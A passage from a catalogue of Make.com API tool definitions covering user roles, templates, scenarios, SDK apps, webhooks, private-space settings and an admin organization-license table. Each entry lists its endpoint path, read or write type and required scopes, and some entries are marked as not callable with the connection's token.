/api/v1/make/teams/{teamId}/usage. Scopes: teams:read. make_get_teams_by_teamid_user_team_roles (read) — Gets list of all users and their roles in the team with the specified `teamId`. Get all user role IDs with the API call `GET /users/roles`. GET /api/v1/make/teams/{teamId}/user-team-roles. Scopes: teams:read. make_get_teams_by_teamid_user_team_roles_by_userid (read) — Retrieves information about user role in a team with the specified `userId` and `teamId`. Get all user role IDs with the API call `GET users/roles`. GET /api/v1/make/teams/{teamId}/user-team-roles/{userId}. Scopes: teams:read. make_get_teams_by_teamid_variables (read) — Retrieves the collection of team variables. The response contains all team variables if your account has the custom variables feature available. Otherwise, the response contains only Make system variables. Check availability of the custom variables feature with the API call `GET /organizations/{organizationId}` for the organization to which the team belongs. If the response contains `"customVariables": true` pair in the `license` object then you have access to the custom variables feature. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. GET /api/v1/make/teams/{teamId}/variables. Scopes: team-variables:read. make_get_teams_by_teamid_variables_by_variablename_history (read) — Gets the history of updates of the specified custom variable. The response contains the ID value of the variable history entry and a `diffObject`. The `diffObject` contains: - the original value, - the new value, - the timestamp of the update, - the author of the update. If the variable doesn't have any updates, the `diffObject` contains the current value of the variable instead of the original and new values. The update history entries are sorted from newest to latest. GET /api/v1/make/teams/{teamId}/variables/{variableName}/history. Scopes: team-variables:read. make_get_templates (read) — Retrieves a collection of all templates for a team with a given ID. Returned templates are sorted by ID in ascending order. GET /api/v1/make/templates. Scopes: templates:read. make_get_templates_by_templateid (read) — Retrieves details of a template with a given ID. GET /api/v1/make/templates/{templateId}. Scopes: templates:read. make_get_templates_by_templateid_blueprint (read) — Retrieves a blueprint of a template with a given ID. GET /api/v1/make/templates/{templateId}/blueprint. Scopes: templates:read. make_get_templates_public (read) — Retrieves a collection of all public (approved) templates that are available for anyone. Returned templates are sorted by usage in descending order. GET /api/v1/make/templates/public. Scopes: templates:read. make_get_templates_public_by_templateurl (read) — Retrieves details of a public (approved) template with a given `publicUrl`. GET /api/v1/make/templates/public/{templateUrl}. Scopes: templates:read. make_get_templates_public_by_templateurl_blueprint (read) — Retrieves a blueprint of a public (approved) template with a given `publicUrl`. GET /api/v1/make/templates/public/{templateUrl}/blueprint. Scopes: templates:read. make_get_users (read) — Retrieves a collection of all users for a team or an organization with a given ID. Returned users are sorted by id in descending order. GET /api/v1/make/users. Scopes: user:read. make_get_users_by_permission (read) — Returns users who have a specific permission within an organization or team. Use `type: organization` with `organizationId` to find users that hold a given organization-level permission. Use `type: company` with `teamId` to find users that hold a given team-level permission. Requires the `organization users view` permission on the resolved organization. When `type` is `company`, additionally requires the `team view` permission on the specified team. GET /api/v1/make/users/by-permission. Scopes: user:read. make_get_users_by_userid_user_organization_roles (read) — Gets list of all users and their roles in the organization with the specified `organizationId`. Get all user role IDs with the API call `GET /users/roles`. GET /api/v1/make/users/{userId}/user-organization-roles. Scopes: user:read. make_get_users_by_userid_user_organization_roles_by_organizationid (read) — Gets information about user role in an organization with the specified `userId` and `organizationId`. Get all user role IDs with the API call `GET /users/roles`. GET /api/v1/make/users/{userId}/user-organization-roles/{organizationId}. Scopes: user:read. make_get_users_by_userid_user_team_roles (read) — Gets team roles of the user with the specified `userId`. The response contains user's team role ID for all teams the user is part of. Get the mapping of the `userRoleId` and the user role `name` with the API call `GET /users/roles`. GET /api/v1/make/users/{userId}/user-team-roles. Scopes: user:read. make_get_users_by_userid_user_team_roles_by_teamid (read) — Gets user role detail in the team with the specified `teamId`. Get the mapping of the `userRoleId` and the user role `name` with the API call `GET /users/roles`. GET /api/v1/make/users/{userId}/user-team-roles/{teamId}. Scopes: user:read. make_get_users_me (read) — Retrieves data about the authenticated user. Refer to the `cols[]` parameter accepted values to get more information about the currently authenticated user. GET /api/v1/make/users/me. Scopes: organizations:read. make_get_users_me_current_authorization (read) — Returns current authorization information for the authenticated user including scope and authentication method used. GET /api/v1/make/users/me/current-authorization. Scopes: organizations:read. make_get_users_me_oauth_connections (read) — Gets the OAuth connections for the currently authenticated user. GET /api/v1/make/users/me/oauth-connections. Scopes: organizations:read. make_get_users_me_onboarding_survey (read) — Returns whether the authenticated user has a pending onboarding survey. If the survey has been submitted, the response payload is included. GET /api/v1/make/users/me/onboarding-survey. Scopes: user:read. make_get_users_me_organization_invitations (read) — Retrieves organization invitations of the currently authenticated user. GET /api/v1/make/users/me/organization-invitations. Scopes: user:read. make_get_users_me_pinned_apps (read) — Returns every app the current user has any pin under in the specified organization — pinned apps and apps that only have pinned modules. Each entry carries an `isAppPinned` flag: when `true` the app itself is pinned and shows up in the "My apps" tab; when `false` only modules are pinned and the entry is rendered inside the app-detail panel. App and module pins are independent — pinning a module does not pin its app, and unpinning an app leaves its module pins intact (and they reappear if the app is re-pinned). Pins are scoped per (user, organization) and are version-agnostic — the UI resolves the latest available version of each pinned app/module from the catalog. App names follow the convention used by `GET /imt/apps`: SDK apps are surfaced as `app#`, native apps as the bare package name. GET /api/v1/make/users/me/pinned-apps. Scopes: apps:read. make_get_users_me_preferences (read) — Returns the authenticated user's preference tree. The tree is a `{ [namespace]: value }` object where each top-level key is an independently managed namespace (e.g. `ui`) defined by the shared-preferences library. A user who has never written preferences returns an empty tree. NOT CALLABLE with this connection's API token: it requires `user-preferences:read`, which no Make API token can be minted with. GET /api/v1/make/users/me/preferences. Scopes: user:read. make_get_users_redirect_action (read) — Get user redirect action. GET /api/v1/make/users/redirect-action. Scopes: organizations:read. make_get_users_roles (read) — Gets list of all existing user role names and IDs. Optionally filter by `category`, a specific `roleId`, or pass `organizationId`/`teamId` to include custom roles for that organization. Set the user roles in an organization with the `POST /users/{userId}/user-organization-roles/{organizationId}` API call. Use the `POST /users/{userId}/user-team-roles/{teamId}` API call to set user roles in a team. GET /api/v1/make/users/roles. Scopes: user:read. make_get_users_roles_by_roleid (read) — Returns the detail of a single role by its ID. For custom-managed roles, requires the `customRoles` license and `ORGANIZATION_USERS_VIEW` permission on the role's organization. GET /api/v1/make/users/roles/{roleId}. Scopes: user:read. make_get_users_roles_permissions (read) — Gets a list of all available permissions that can be assigned to user roles. Use the `roleCategory` parameter to filter permissions by team or organization roles. GET /api/v1/make/users/roles/permissions. Scopes: user:read. make_get_users_unread_notifications (read) — Gets the number of unread notifications for the currently authenticated user. GET /api/v1/make/users/unread-notifications. Scopes: user:read. make_get_users_user_team_notifications_by_teamid (read) — Gets the authenticated user's notification settings for a team specified by the `teamId`. Get the mapping of the `notificationId` and the team notification setting type with the API call `GET /enums/user-email-notifications`. The response only contains the notification types available to the user. Some notification types require a specific team permission — types whose permission the user does not hold are omitted from the response. GET /api/v1/make/users/user-team-notifications/{teamId}. Scopes: user:read. make_get_users_user_team_notifications_by_teamid_by_notificationid (read) — Checks the authenticated user's notification settings for the team and notification type specified by the `teamId` and `notificationId`. Get the mapping of the `notificationId` and the team notification setting type with the API call `GET /enums/user-email-notifications`. Only notification types available to the user are returned. Some notification types require a specific team permission — for a type whose permission the user does not hold, the response contains no notification setting. GET /api/v1/make/users/user-team-notifications/{teamId}/{notificationId}. Scopes: user:read. make_options_rpcs_by_appname_by_appversion_by_rpcname (read) — Preflight an app RPC call. OPTIONS /api/v1/make/rpcs/{appName}/{appVersion}/{rpcName}. Scopes: organizations:read. make_patch_admin_organizations_by_organizationid (write) — Updates the specified organization. Updates only parameters specified in the request body. Check the API call to create organizations (https://www.make.com/en/api-documentation/admin-organizations-post) for a full breakdown of the organization license parameters.
    When updating organization's license, Make replaces the old organization's license with the new one. You have to send a valid license object with all the license parameters you want to set for the organization.
    You can set the next reset of the organization's consumption with the `nextReset` parameter. Use the `performReset` parameter to reset the organization's consumption with the API call. You can set the next reset with the `nextReset` parameter, or Make sets the next reset according to the organization's `resetPeriod`. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. PATCH /api/v1/make/admin/organizations/{organizationId}. Scopes: admin:write, organizations:write. make_patch_admin_teams_by_teamid (write) — Updates team information. Make updates only the values in the request body. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. PATCH /api/v1/make/admin/teams/{teamId}. Scopes: admin:write, teams:write. make_patch_admin_users_by_userid (write) — Updates user information. Make updates only the specified information. In addition, you can set the user admin roles in the `usersAdminsRoleId`. Check the available roles with the API call `GET /admin/users/admins-roles`. Refer to the user admin roles documentation (https://www.make.com/en/help/white-label/manage-organizations#instance-level-roles-1628394) for the full breakdown of the user admin roles permissions. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. PATCH /api/v1/make/admin/users/{userId}. Scopes: admin:write, user:write. make_patch_agents_by_agentid (write) — Updates a new agent with given ID. PATCH /api/v1/make/agents/{agentId}. Scopes: agents:write. make_patch_ai_agents_v1_agents_by_agentid (write) — Modify an existing agent by its ID. PATCH /api/v1/make/ai-agents/v1/agents/{agentId}. Scopes: ai-agents:write. make_patch_connections_by_connectionid (write) — Updates the specified connection's name. The response contains all information about the updated connection. PATCH /api/v1/make/connections/{connectionId}. Scopes: connections:write. make_patch_custom_property_structures_custom_property_structure_items_by_custompropertystructureitemid (write) — Updates the specified item of a custom property structure. Specify the attributes you want to update in the request body. You cannot update the item `name` and `type`. You can get the item ID with an API call to list custom property structure items (./get--custom-property-structures--custompropertystructureid--custom-property-structure-items.md). When you want to update the `options` of a `multiselect` or `dropdown` item, specify all the options for the property. The new set of options replaces the current options. PATCH /api/v1/make/custom-property-structures/custom-property-structure-items/{customPropertyStructureItemId}. Scopes: custom-property-structures:write. make_patch_data_stores_by_datastoreid (write) — Updates properties of a data store with a given ID in a team with a given ID by passing new values in the request body. In the response, it returns all details of the updated data store including properties that were not changed. Any property that is not provided will be left unchanged. This endpoint cannot be used to update data included in the data store - for this use the endpoints for managing data stores data (./data/get--data-stores--datastoreid--data.md). PATCH /api/v1/make/data-stores/{dataStoreId}. Scopes: datastores:write. make_patch_data_stores_by_datastoreid_data_by_datastorekeyrecord (write) — Updates a data store record with a given key by passing new data in the request body. Any property that is not provided will be left unchanged. In the response, it returns all details of the updated data including properties that were not changed. PATCH /api/v1/make/data-stores/{dataStoreId}/data/{dataStoreKeyRecord}. Scopes: datastores:write. make_patch_data_structures_by_datastructureid (write) — Updates the specified data structure. Make updates only parameters you send in the request body. Note that when you update the data structure specification with the `spec` parameter, you have to provide all structure fields you want to use. Make replaces the old structure specification with the new one. The response contains all details about the updated data structure. PATCH /api/v1/make/data-structures/{dataStructureId}. Scopes: udts:write. make_patch_devices_by_deviceid (write) — Update a device. PATCH /api/v1/make/devices/{deviceId}. Scopes: devices:write. make_patch_dlqs_by_dlqid (write) — Updates the specified incomplete execution. PATCH /api/v1/make/dlqs/{dlqId}. Scopes: dlqs:write. make_patch_functions_by_functionid (write) — Updates custom functions `description` or `code`. You cannot change the `name` of the custom function. Make sure to use the same function name in the function's `code`. Otherwise, you get an IM005 error. Make validates the custom function's code first. You get an IM005 error if the code validation fails. The validation might fail because of a syntax error in the function's code or when the code uses a JavaScript feature that Make doesn't support. Check the custom functions limitations (https://www.make.com/en/help/functions/custom-functions#limitations-of-custom-functions) in the Make Help center. PATCH /api/v1/make/functions/{functionId}. Scopes: functions:write. make_patch_hooks_by_hookid (write) — Updates a hook with a given ID by passing new values in the request body. Any property that is not provided will be left unchanged. In the response, it returns all details of the updated hook including properties that were not changed. PATCH /api/v1/make/hooks/{hookId}. Scopes: hooks:write. make_patch_keys_by_keyid (write) — Updates a key `name`, connection parameters, or both with the data specified in the request body. If you don't specify a parameter, Make keeps the original value. Use the `GET /key-types` API call to find out which parameters you need to specify in the `parameters` object based on the key type. PATCH /api/v1/make/keys/{keyId}. Scopes: keys:write. make_patch_mailhub_users_by_userid_organizations_by_organizationid_teams_by_teamid_native_preferences (write) — Updates a native email notification preference of a team for the user associated with the API key used for authentication. Some notification types require a specific team permission. Enabling such a type for a user who does not hold the required permission fails with `403`. Disabling a notification type is always allowed, regardless of permissions or feature flags. PATCH /api/v1/make/mailhub/users/{userId}/organizations/{organizationId}/teams/{teamId}/native-preferences. Scopes: organizations:read. make_patch_mailhub_users_by_userid_organizations_by_organizationid_teams_by_teamid_preferences (write) — Update team preferences. PATCH /api/v1/make/mailhub/users/{userId}/organizations/{organizationId}/teams/{teamId}/preferences. Scopes: organizations:read. make_patch_mailhub_users_by_userid_preferences (write) — Update global preferences. PATCH /api/v1/make/mailhub/users/{userId}/preferences. Scopes: organizations:read. make_patch_organizations_by_organizationid (write) — Updates the organization data with the values in the request body. If you don't use a parameter in the request body, Make won't change its value. You can update organization name, timezone, and country with the `name`, `timezoneId`, and `countryId` parameters. Check the available values for the `timezoneId` and `countryId` parameters with the API calls `GET /enums/timezones` and `GET /enums/countries`. The request response returns all organization data. PATCH /api/v1/make/organizations/{organizationId}. Scopes: organizations:write. make_patch_organizations_by_organizationid_feature_controls (write) — Enable or disable feature control for the specified organization. PATCH /api/v1/make/organizations/{organizationId}/feature-controls. Scopes: organizations:read. make_patch_organizations_by_organizationid_managed_organizations_by_childorganizationid (write) — A successful response contains summary of new operation limits for parent and child organization. The `operations` parameter must be a multiple of 10000. Refer to the MMS page (https://help.make.com/make-managed-services-mms) for Make Managed Services (MMS) overview. PATCH /api/v1/make/organizations/{organizationId}/managed-organizations/{childOrganizationId}. Scopes: managed-organizations:write. make_patch_organizations_by_organizationid_private_spaces_settings (write) — Updates the organization's private-spaces settings. All body fields are optional — only the keys provided are written. Confirmation requirement: The `?confirmed=true` query parameter is required when the request includes any of these bulk operations, otherwise the endpoint responds with `IM004`: - `privateSpacesAutoCreationEnabled: true` — bulk-creates a private space for every eligible organization member (those holding the `personal team own view` permission) that does not already own one. - `privateSpacesAutoCreationEnabled: false` — also deletes every existing private-space team in the organization. - `addAdminsAsObservers: true` / `false` — reconciles every existing private-space team: enabling adds org admins/owner as `Team Observer`; disabling removes those implicit observers. - `bulkUpdateExistingLimits: true` — overwrites `limits.operations` on every existing private-space team in the organization to match the `defaultOperationsLimit`, and re-evaluates each team's pause state. `defaultOperationsLimit` must be provided in the same request when `bulkUpdateExistingLimits` is `true` (a number, or `null` for unlimited), otherwise the request is rejected with `IM005`. This ensures the value applied org-wide is stated explicitly rather than implicitly inherited from the org's currently stored setting. Changing `defaultOperationsLimit` alone (to any value, including `null` / `0` / lower) only affects future creations and does NOT require confirmation. License requirement: Enabling `addAdminsAsObservers` requires the organization to hold the `privateSpacesObservability` license parameter. Without it, the request is rejected with `SC402`. Owner-only field: `addAdminsAsObservers` can be changed only by the organization owner. Other organization admins may update the remaining settings on this endpoint, but a request that includes `addAdminsAsObservers` (either `true` or `false`) from a non-owner is rejected with `IM002`. PATCH /api/v1/make/organizations/{organizationId}/private-spaces-settings. Scopes: organizations:write. make_patch_organizations_by_organizationid_subscription (write) — Change subscription. PATCH /api/v1/make/organizations/{organizationId}/subscription. Scopes: organizations:write. make_patch_organizations_by_organizationid_subscription_payment_methods_by_paymentmethodid_default (write) — Sets a payment method as the default for the organization's subscription. PATCH /api/v1/make/organizations/{organizationId}/subscription/payment-methods/{paymentMethodId}/default. Scopes: organizations:write. make_patch_organizations_by_organizationid_tfa_enforcement (write) — Enables or disables two-factor authentication (TFA) enforcement for the specified organization. When TFA enforcement is enabled, all users in the organization are required to have two-factor authentication configured. Users who do. not have TFA enabled will be automatically logged out. Note: This endpoint is available only for organizations with a plan that supports TFA enforcement. PATCH /api/v1/make/organizations/{organizationId}/tfa-enforcement. Scopes: organizations:write. make_patch_organizations_by_organizationid_variables_by_variablename (write) — Updates custom organization variable with the specified variable `name`. Only parameters specified in the request body are updated. You can check the availability of the custom variables feature with the API call `GET /organizations/{organizationId}`. If the response contains `"customVariables": true` pair in the `license` object then you have access to the custom variables feature. A successful response contains all information about the updated variable. If you don't have the custom variables feature available then the API call returns the error 404. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for the Make pricing plans overview. Update the variable `typeId` accordingly when you are updating the variable `value`. Make checks whether the variable type and value match in the request body. There is no check for incorrect variable type when you update only variable value and _vice versa_. PATCH /api/v1/make/organizations/{organizationId}/variables/{variableName}. Scopes: organization-variables:write. make_patch_outbound_webhooks_organizations_by_organizationid_webhooks_by_webhookid (write) — Updates a mutable field on an outbound webhook subscription. Only the fields provided in the request body are changed. Endpoint is proxy for the Outbound Webhooks service. Full schema documentation is available at https://github.com/integromat/outbound-webhooks/blob/master/openapi/openapi.json. PATCH /api/v1/make/outbound-webhooks/organizations/{organizationId}/webhooks/{webhookId}. Scopes: organizations:write. make_patch_outbound_webhooks_organizations_by_organizationid_webhooks_by_webhookid_activate (write) — Activates a previously paused outbound webhook subscription. The webhook's `status` becomes `live` on success. Endpoint is proxy for the Outbound Webhooks service. Full schema documentation is available at https://github.com/integromat/outbound-webhooks/blob/master/openapi/openapi.json. PATCH /api/v1/make/outbound-webhooks/organizations/{organizationId}/webhooks/{webhookId}/activate. Scopes: organizations:write. make_patch_outbound_webhooks_organizations_by_organizationid_webhooks_by_webhookid_deactivate (write) — Pauses an outbound webhook subscription. The webhook's `status` becomes `paused` on success and deliveries stop until the webhook is activated again. Endpoint is proxy for the Outbound Webhooks service. Full schema documentation is available at https://github.com/integromat/outbound-webhooks/blob/master/openapi/openapi.json. PATCH /api/v1/make/outbound-webhooks/organizations/{organizationId}/webhooks/{webhookId}/deactivate. Scopes: organizations:write. make_patch_private_spaces_bulk (write) — Sets one operations (credit) limit on up to 100 private spaces of an organization in a single request. This is the bulk counterpart of `PATCH /private-spaces/{privateSpaceId}`. List the target spaces in `privateSpaceIds` (duplicates are ignored). `operationsLimit` is an integer number of credits, or `null` to remove the limit. The transfer limit is derived from the operations limit automatically. A limit of `0` is a real limit: spaces whose limit changes to `0` are paused. Requires the `personal team manage` organization permission (admins: `organization edit`). The operation is all-or-none: every listed id must be an active private space of `organizationId`, otherwise nothing is changed and the call fails with HTTP 404. Lowering the limit to or below a space's current consumption pauses that space. An unconfirmed request that would pause at least one space fails with `IM004` (HTTP 406) whose metadata lists exactly those spaces; re-send with `confirmed=true` to proceed. Spaces whose limit already equals the new value are returned unchanged and emit no audit event. Available on app zones only. PATCH /api/v1/make/private-spaces/bulk. Scopes: private-spaces:write. make_patch_private_spaces_by_privatespaceid (write) — Updates a private space. Currently supports changing the operations limit (credit limit). Requires the `personal team manage` organization permission. PATCH /api/v1/make/private-spaces/{privateSpaceId}. Scopes: private-spaces:write. make_patch_scenario_labels_by_labelid (write) — Renames, re-colours, or re-describes a team label. Requires `scenario edit` on the label's team. Every chip using the label updates at once. PATCH /api/v1/make/scenario-labels/{labelId}. Scopes: scenarios:write. make_patch_scenarios_by_scenarioid (write) — Updates a scenario with a given ID by passing new values in the request body. Any property that is not provided will be left unchanged. In the response, it returns all details of the updated scenario including properties that were not changed. PATCH /api/v1/make/scenarios/{scenarioId}. Scopes: scenarios:write. make_patch_scenarios_by_scenarioid_custom_properties (write) — Updates custom properties data of the specified scenario. Make updates only the custom properties data you specify in the request body. The custom property has to contain data already. The update data have to conform to the current custom scenario properties structure. If the initial value is empty, then the API call returns an error. To fill in first values to the custom properties, use the API call to fill in custom properties data (./post--scenarios--scenarioid--custom-properties.md). PATCH /api/v1/make/scenarios/{scenarioId}/custom-properties. Scopes: scenarios:write. make_patch_scenarios_by_scenarioid_interface (write) — Updates specification of the scenario inputs. Check out the scenario inputs documentation (https://www.make.com/en/help/scenarios/scenario-inputs) in the Make help center. If you want to enable the scenario inputs you have to set the scenario scheduling to "On demand" first, otherwise you get error 422 (IM016). You can use the API call: `PATCH /scenarios/{scenarioId}?confirmed=true` with the request body: `{"scheduling": "{\"type\":\"on-demand\"}"}` You can disable inputs for the specified scenario by sending a payload with an empty `input` array. The response contains the updated scenario inputs specification. The scenario inputs feature requires your account to have the pricing plan Pro or higher. Read more about Make pricing. (https://www.make.com/en/pricing). PATCH /api/v1/make/scenarios/{scenarioId}/interface. Scopes: scenarios:write. make_patch_scenarios_by_scenarioid_notes_by_noteid (write) — Updates a scenario note with a given ID by passing new values in the request body. Any property that is not provided will be left unchanged. In the response, it returns all details of the updated note including properties that were not changed. PATCH /api/v1/make/scenarios/{scenarioId}/notes/{noteId}. Scopes: scenarios:write. make_patch_scenarios_folders_by_folderid (write) — Updates a scenario folder with a given ID by passing a new name, a new parent folder, or both in the request body. Use parentId null to move the folder to the top level. Any property that is not provided will be left unchanged. In the response, it returns all details of the updated folder including properties that were not changed. PATCH /api/v1/make/scenarios-folders/{folderId}. Scopes: scenarios:write. make_patch_scenarios_shared_by_scenarioid_by_sharedscenarioid (write) — Updates a shared scenario by ID by passing new values in the request body. Any property that is not provided will be left unchanged. PATCH /api/v1/make/scenarios-shared/{scenarioId}/{sharedScenarioId}. Scopes: scenarios-shared:write. make_patch_scenarios_tools_by_scenarioid (write) — Updates a tool configuration with a given scenario ID by passing new values in the request body. Any property that is not provided will be left unchanged. In the response, it returns all details of the updated tool configuration of the underlying scenario, including properties that were not changed. PATCH /api/v1/make/scenarios/tools/{scenarioId}. Scopes: scenarios:write. make_patch_sdk_apps_by_sdk_appname_by_sdk_appversion (write) — Patch App. PATCH /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}. Scopes: sdk-apps:write. make_patch_sdk_apps_by_sdk_appname_by_sdk_appversion_base (write) — Patch app base configuration. PATCH /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/base. Scopes: sdk-apps:write. make_patch_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname (write) — Updates one or more metadata fields of an endpoint. At least one field must be provided. On an approved app, the versioned fields (`context`, `annotations`, `attachedAccounts`) are recorded as pending changes instead of being applied immediately. When `attachedAccounts` is supplied, every connection it lists must belong to the app, otherwise the request is rejected. PATCH /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}. Scopes: sdk-apps:write. make_patch_sdk_apps_by_sdk_appname_by_sdk_appversion_github_by_sdk_githubbindingid (write) — Updates editable metadata of an existing GitHub binding — typically the sync branch or the Make connection the binding authenticates through. When `connectionId` is changed, the new connection must be a GitHub connection, otherwise responds with `400`. At least one field must be provided. Only the app's author (or an administrator) may update bindings. PATCH /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github/{SDK_githubBindingId}. Scopes: sdk-apps:write. make_patch_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename (write) — Updates a module.
    . PATCH /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}. Scopes: sdk-apps:write. make_patch_sdk_apps_by_sdk_appname_by_sdk_appversion_rpcs_by_sdk_rpcname (write) — Patch RPC. PATCH /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rpcs/{SDK_rpcName}. Scopes: sdk-apps:write. make_patch_sdk_apps_connections_by_sdk_connectionname (write) — Update Connection. PATCH /api/v1/make/sdk/apps/connections/{SDK_connectionName}. Scopes: sdk-apps:write. make_patch_sdk_apps_webhooks_by_sdk_webhookname (write) — Update Webhook. PATCH /api/v1/make/sdk/apps/webhooks/{SDK_webhookName}. Scopes: sdk-apps:write. make_patch_sdk_publisher (write) — Creates or updates the calling user's publisher profile with the provided fields (at least one is required; omitted fields keep their value, `null` clears a field). Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). PATCH /api/v1/make/sdk/publisher. Scopes: sdk-apps:write. make_patch_teams_by_teamid (write) — Updates information about the team with the specified `teamId`. PATCH /api/v1/make/teams/{teamId}. Scopes: teams:write. make_patch_teams_by_teamid_connections_by_connectionid_access_list_users_by_userid (write) — Changes the entity-tier role of a user already on a connection's access list. Requires `entity manage`. Returns `404` if the user is not on the access list, and `409` if the change would demote the connection's last Entity Admin. PATCH /api/v1/make/teams/{teamId}/connections/{connectionId}/access-list/users/{userId}. Scopes: connections:write. make_patch_teams_by_teamid_keys_by_keyid_access_list_users_by_userid (write) — Changes the entity-tier role of a user already on a key's access list. Requires `entity manage`. Returns `404` if the user is not on the access list, and `409` if the change would demote the key's last Entity Admin. PATCH /api/v1/make/teams/{teamId}/keys/{keyId}/access-list/users/{userId}. Scopes: keys:write. make_patch_teams_by_teamid_variables_by_variablename (write) — Updates custom team variable with the specified variable `name`. Only parameters specified in the request body are updated. You can check the availability of the custom variables feature with the API call `GET /organizations/{organizationId}` for the organization to which the team belongs. If the response contains `"customVariables": true` pair in the `license` object then you have access to the custom variables feature. A successful response contains all information about the updated variable. If you don't have the custom variables feature available then the API call returns the error 404. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for the Make pricing plans overview. Update the variable `typeId` accordingly when you are updating the variable `value`. Make checks whether the variable type and value match in the request body. There is no check for incorrect variable type when you update only variable value and _vice versa_. PATCH /api/v1/make/teams/{teamId}/variables/{variableName}. Scopes: team-variables:write. make_patch_templates_by_templateid (write) — Updates a template with a given ID by passing new values in the request body. Any property that is not provided will be left unchanged. In the response, it returns all details of the updated template including properties that were not changed. PATCH /api/v1/make/templates/{templateId}. Scopes: templates:write. make_patch_users_by_userid (write) — Updates a user with a given ID by passing new data in the request body. Any property that is not provided will be left unchanged. As the response, it returns all details of the updated user including properties that were not changed. PATCH /api/v1/make/users/{userId}. Scopes: user:write. make_patch_users_custom_roles_by_roleid (write) — Updates the name, description, or permissions of an existing custom role. Only custom-managed roles can be updated. PATCH /api/v1/make/users/custom-roles/{roleId}. Scopes: user:write. make_patch_users_me_preferences (write) — Applies an RFC 7396 JSON Merge Patch to the authenticated user's preferences. The request body is a `{ [namespace]: object | null }` envelope: `null` deletes the namespace, an object is merged recursively into the stored namespace payload (`null` on any leaf deletes that leaf; other values replace). Behaviour by deployment mode: - Private zones: the merge happens locally against `users.user_preference`. - Public zones: the envelope is forwarded to HQ via swarm; HQ writes and replicates the row back to the local database. Validation is two-stage: `validatePreferencePatch` from `@integromat/shared-preferences` checks the envelope shape, namespace key format, and total byte size, then each non-`null` namespace patch is validated by its own parser registered by the API layer. Unknown namespaces are rejected. NOT CALLABLE with this connection's API token: it requires `user-preferences:write`, which no Make API token can be minted with. PATCH /api/v1/make/users/me/preferences. Scopes: user:write. make_post_admin_organizations (write) — Create a new organization in the Make White Label instance. You can set the organization admin, timezone, country and features with the `countryId`, `timezoneId`, `userOrgAdmin` and `license` parameters in the request body. If you don't use the `countryId` and `timezoneId` parameters Make uses your account values to set the organization timezone and country. If you don't use the `userOrgAdmin` parameter you are set as the organization admin. The `license` object sets the features and limits for the users in the organization. The following table lists all license parameters and their maximum, minimum, or available values for enumerated parameters. If you don't use the `license` parameter Make sets the organization's license to the default values for your Make White Label instance. You can check the default license of your Make White Label instance with the get default license (https://www.make.com/en/api-documentation/admin-system-settings-default-license-get) endpoint.
    Parameter Description and values

    restartPeriod

    The period of time after which Make resets an organization's centicredits, operations, and data transfer.

    Type: enum<string>

    Values:

    • 1 month
    • 1 year

    operations REQUIRED

    The number of operations that are available to scenarios in the organization. Operations reset after the restart period.

    Type: uinteger

    Values:

    • min: 0
    • max: 800000000

    transfer REQUIRED

    The maximum amount of data transfer in bytes available to scenarios in the organization. Transfer resets after the restart period.

    Type: uinteger

    Values:

    • min: 104857600
    • max: 1099511627776

    dslimit REQUIRED

    The maximum number of data stores in the organization.

    Type: uinteger

    Values:

    • min: 1
    • max: 1000

    dsslimit REQUIRED

    The maximum storage in bytes available across all data stores in the organization.

    Type: uinteger

    Values:

    • min: 1
    • max: 2306867200

    interval REQUIRED

    The minimum interval between two scheduled scenario executions in minutes. The interval setting is ignored when the scenario scheduling is set to "immediately".

    Type: uinteger

    Values:

    • min: 1
    • max: 15

    teams

    The maximum number of teams in the organization. Unlimited if not specified.

    Type: uinteger

    Values:

    • min: 1
    • max: 1000

    retention

    The number of days to store internal logs (activity stream, userdata fulltext, userdata, debugdata) for the organization.
    The retention parameter limits for example the scenario execution detail storage duration. Scenario executions older than the retention period have only information about the scenario execution start and status.

    Type: enum<uinteger>

    Values:

    • 7
    • 30
    • 60
    • default: 60

    premiumApps

    Users in the organization have access to premium apps that have the same or lower premium tier as the value of the premiumApps parameter.
    To check the installed apps premium tier:
    1. List all installed apps with the API call GET /admin/apps to get the app names in the name field.
    2. Run the API call GET /admin/apps/{appName}. Check the field premiumTier for the premium tier of the app.

    Type: uinteger

    Values:

    • min: 1
    • max: 10

    priority

    Sets the scenario execution priority of the scenarios in the organization.
    Make executes scenarios from an execution queue. If there are scenarios scheduled to run at the same time, Make orders them for execution according to their priority.

    Type: enum<string>

    Values:

    • low
    • medium
    • high

    allowOverage

    Sets the percentage by which scenarios can exceed the number of available centicredits, operations, and data transfer.
    For example, if the organization has the operations limit 1000 and the allowOverage parameter set to 120, the scenarios in the organization can use up to 1200 operations before Make stops and inactivates them.

    Type: uinteger

    Values:

    • min: 100
    • max: 200

    apiLimit

    Sets a limit to the number of API calls per minute to work with the data contained in the organization. If a user is part of multiple organizations, Make limits API calls to each organization according to the organization's apiLimit.

    If you don't specify the apiLimit, Make sets the apiLimit to 0, which disables access to the data in the organization with the API.

    Type: uinteger

    Values:

    • min: 0
    • max: 2000

    fulltext

    Allows full text search in the scenario execution history to the users in the organization.

    Type: boolean

    dedicatedSso

    Allows logging in to the White Label platform with a custom single sign-on solution.

    Type: boolean

    installPublicApps

    Allows installation of apps that were created by user that is not part of the organization.

    Type: boolean

    creatingTemplates

    Allows the users to create scenario templates.

    Type: boolean

    scenarios

    Sets the maximum number of active scenarios in the organization. The number is unlimited if not specified.

    Type: uinteger

    Values:

    • min: 1
    • max: 1000000

    dlqStorage

    Sets the maximum storage in bytes for the scenario incomplete executions.

    Type: uinteger

    Values:

    • min: 1
    • max: 2097152000

    executionTime

